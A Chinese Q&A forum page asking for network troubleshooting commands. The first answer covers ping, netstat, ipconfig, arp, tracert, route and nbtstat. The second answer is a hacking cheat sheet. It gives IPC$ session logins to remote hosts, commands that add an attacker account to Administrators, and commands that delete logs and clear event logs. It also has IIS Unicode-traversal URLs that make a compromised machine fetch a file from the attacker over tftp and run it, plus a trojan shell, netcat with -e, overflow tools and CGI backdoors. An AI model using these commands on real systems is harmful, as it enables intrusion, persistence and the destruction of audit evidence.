排除一些网络故障的常用命令?
发布网友
发布时间：2022-04-26 23:56
共2个回答
热心网友
时间：2022-05-21 15:35
一、 ping
网管使用最频的当是ping命令，它不仅可以检查网络是否连通，还有益于分析判断网络故障。其常用方法有：
1. ping本机IP
本机始终都是应该对该ping命令作出应答，如没有，则表示本地配置或安装存在问题。出现此问题时，局域网用户可断开网缆，然后重新发送该命令：如果网线断开后本命令正确，则表示另一机子可能配置了相同的IP地址。这里显示的TTL（Time To Live存在时间），表示数据包已通过的路由器数量。
2. ping网关IP
命令应答如果正确，表示局域网中的网关路由器正在正常运行
3. ping远程IP
如果收到4个应答，表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。
4. ping局域网内其他IP
该命令将会经过网卡及网缆到达其他机器后再返回。收到回送应答表明本地网络中的网卡和载体运行正确；但若收到0个回送应答，那么表示子网掩码（进行子网分割时，将IP地址的网络部分与主机部分分开的代码）不正确或网卡配置错误或电缆系统有问题。
5. ping localhost
localhost是系统的网络保留名，它是127.0.0.1的别名，每台机器都能将该名字转换成该地址。
6. ping www.xxx.com（如www.sina.com）
对这个域名执行Ping www.xxx..com地址，通常是通过DNS服务器。如果出现故障，则表示DNS服务器的IP地址配置不正确或DNS服务器有故障。
简言之，如果ping运行正确，我们大体上就可以排除网络访问层、网卡、Modem的输入输出线路、电缆和路由器等存在的故障，从而减小了问题的范围。但由于可以自定义所发数据报的大小及无休止的告诉发送，ping也被某些别有用心的人作为DDOS（拒绝服务攻击）的工具，例如许多大型的网站就是被黑客利用数百台可以告诉介入互联网的电脑连续发送大量ping数据报而瘫痪的。
二、 Netstat
Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据，一般用于检验本机各端口的网络连接情况。
1. netstat-s
本命令能按照各协议分别显示其统计数据。如果我们的应用程序或浏览器运行速度较慢，或者不能显示Web页之类的数据，那么我们就可以用本选项来查看所显示的信息。
2. netstat-e
用于显示以太网统计数据。它列出了发送和接收端的数据报数量，包括传送的数据报的总字节数、错误数、删除数、数据报的数量和广播的数量，可用来统计基本的网流量。
3. netstat-r
可显示路由表信息
4. netstat-a
显示所有有效连接信息列表，包括已建立连接（ESTABLISHED）与监听连接请求（LISTENING）的连接。
三、 IPConfig
IPConfig用于显示当前TCP/IP配置。如果我们的机子和所在局域网使用了动态主机配置协议（DHCP），这时IPConfig可以让我们了解自己的计算机是否成功的租用到一个IP地址，如果租用到则可以了解它目前分配到的是什么地址。了解机器当前IP地址、子网掩码和缺省网关实际上有利于测试和分析故障。
1. ipconfig
它显示每个已经配置的接口的IP地址、子网掩码和缺省网关值。
2. ipconfig/all
当使用all选项时，IPConfig能为DNS和WINS服务器显示它已经配置且所要使用的附加信息（如IP地址等），并且显示内置于本地网卡中的物理地址（MAC）。
四、 ARP
ARP(地址转换协议)是一个重要的TCP/IP协议，用于确定对应IP地址的网卡物理地址。ARP命令能够查看本地或另一台计算机的ARP高速缓存中的当前内容。
1. arp-a或arp-g
用于查看高速缓存中的所有项目。
2. arp-a IP
如果我们有多个网卡，那么使用arp-a加上接口的IP地址，就可以只显示与该接口相关的ARP缓存项目。
五、 Tracert
如果网络连通有问题，可用tracert检查到达的目标IP地址的路径并记录结果。Tracert的使用很简单，只需要再Tracert后面跟一个IP地址或URL，Tracert一般用来检测故障的位置，我们可以用“tracert IP”确定在哪个环节上出了问题。
六、 Route
大多数主机一般都是驻留在只连接一台路由器的网段上。由于只有一台路由器，一次不存在使用哪一台路由器将数据报发表到远程计算机的问题，该路由器的IP地址可作为该网段上所有计算机的缺省网关输入。
但是，当网络上拥有两个或多个路由器时，我们就不一定想只依赖缺省网关了。实际上我们可能想让我们的某些远程IP地址通过某个特定的路由器来传递，而其他的远程IP则通过另一个路由器来传递。Route print命令用于显示路由表中的当前项目，在单路由器网段上的输出。
七、 NBTStat
本命令可释放和刷新NetBIOS名称。运用NetBIOS，我们可以查看本地计算机或远程计算机上的NetBIOS名字表格。
1. nbtstat-n
显示寄存在本地的名字和服务程序。
2. nbtstat-c
用于显示NetBIOS名字高速缓存的内容。NetBIOS名字高速缓存用于存放与本计算机最近进行通信的其他计算机的NetBIOS名字和IP地址对。
3. nbtstat-r
用于清除和重新加载NetBIOS名字高速缓存。
4. nbtstat-a IP
通过IP显示另一台计算机的物理地址和名字列表，我们所显示的内容就像对方计算机自己运行nbtstat-n一样。
5. nbtstat-s IP
显示使用其IP地址的另一台计算机的NetBIOS连接表。
八、 设置共享的命令
1. net share
查看机器的共享资源。
2. 手工删除共享
Net share c$ /d
Net share d$ /d
Net share ipc$ /d
Net share admin$ /d
3．增加一个共享
C:net share mymovie=e:downloadsmovie/users:l
增加mymovie共享，同时*链接用户数为1人。
热心网友
时间：2022-05-21 15:36
==================================================
（与远程主机建立空管连接） net use \\IP地址\ipc$ /use:
（以管理员身份登录远程主机） net use \\IP地址\ipc$ 密码 /use:Administrator
（传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
（查看远程主机时间） net time \\IP地址
（定时启动某个程序） at \\IP地址 02:18 readme.exe
（查看共享） net view \\IP地址
（查看netbios工作组列表） nbtstat -A IP地址
（将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ /user:Administrator
（这两条把自己增加到管理员组）： net user 用户名 密码 /add
net localgroup Administrators 用户名 /add
（断开连接） net use \\IP地址\ipc$ /delete
=====================================================
擦屁屁：
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
============================
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
netsvc /list \\IP地址
netsvc schele \\IP地址 /query
netsvc \\IP地址 schele /start
二、OpenTelnet.exe
远程启动主机的Telnet服务，并绑定端口到7878，例如：
OpenTelnet \\IP地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口，进入DOS方式下：
telnet IP地址 7878
三、winshell.exe
一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
p Path （查看winshell主程序的路径信息）
b reBoot （重新启动机器）
d shutDown （关闭机器）
s Shell （执行后你就会看到可爱的“C:\>”）
x eXit （退出本次登录会话，此命令并不终止winshell的运行）
CMD> http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
四、3389登陆器，GUI方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s \\IP地址 -l application -C
elsave -s \\IP地址 -l system -C
elsave -s \\IP地址 -l security -C
执行后成功清除应用程序日志，系统日志，安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
http://IP地址/s cripts/..%5c..%5c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
然后可以直接令文件运行：
http://IP地址/s cripts/..%5c..%5c/winnt/system32/cmd.exe?/c 文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
一、一 Xscan命令行运行参数说明：
在检测过程中，按[空格]键可以查看各线程状态及扫描进度，按q键保存当前数据后提前退出程序，按<ctrl c>强行关闭程序。
1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
xscan -file <主机列表文件名> <检测项目> [其他选项]
其中<检测项目> 含义如下:
-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的PORT-SCAN-OPTIONS\PORT-LIST项定制待检测端口列表)；
-ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
-cgi : 检测CGI漏洞(可通过\dat\config.ini文件的CGI-ENCODE\encode_type项设置编码方案)；
-iis : 检测IIS漏洞(可通过\dat\config.ini文件的CGI-ENCODE\encode_type项设置编码方案)；
[其他选项] 含义如下:
-v: 显示详细扫描进度
-p: 跳过Ping不通的主机
-o: 跳过没有检测到开放端口的主机
-t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
参考资料：http://os8.cn/ViewInfo.asp?id=7920
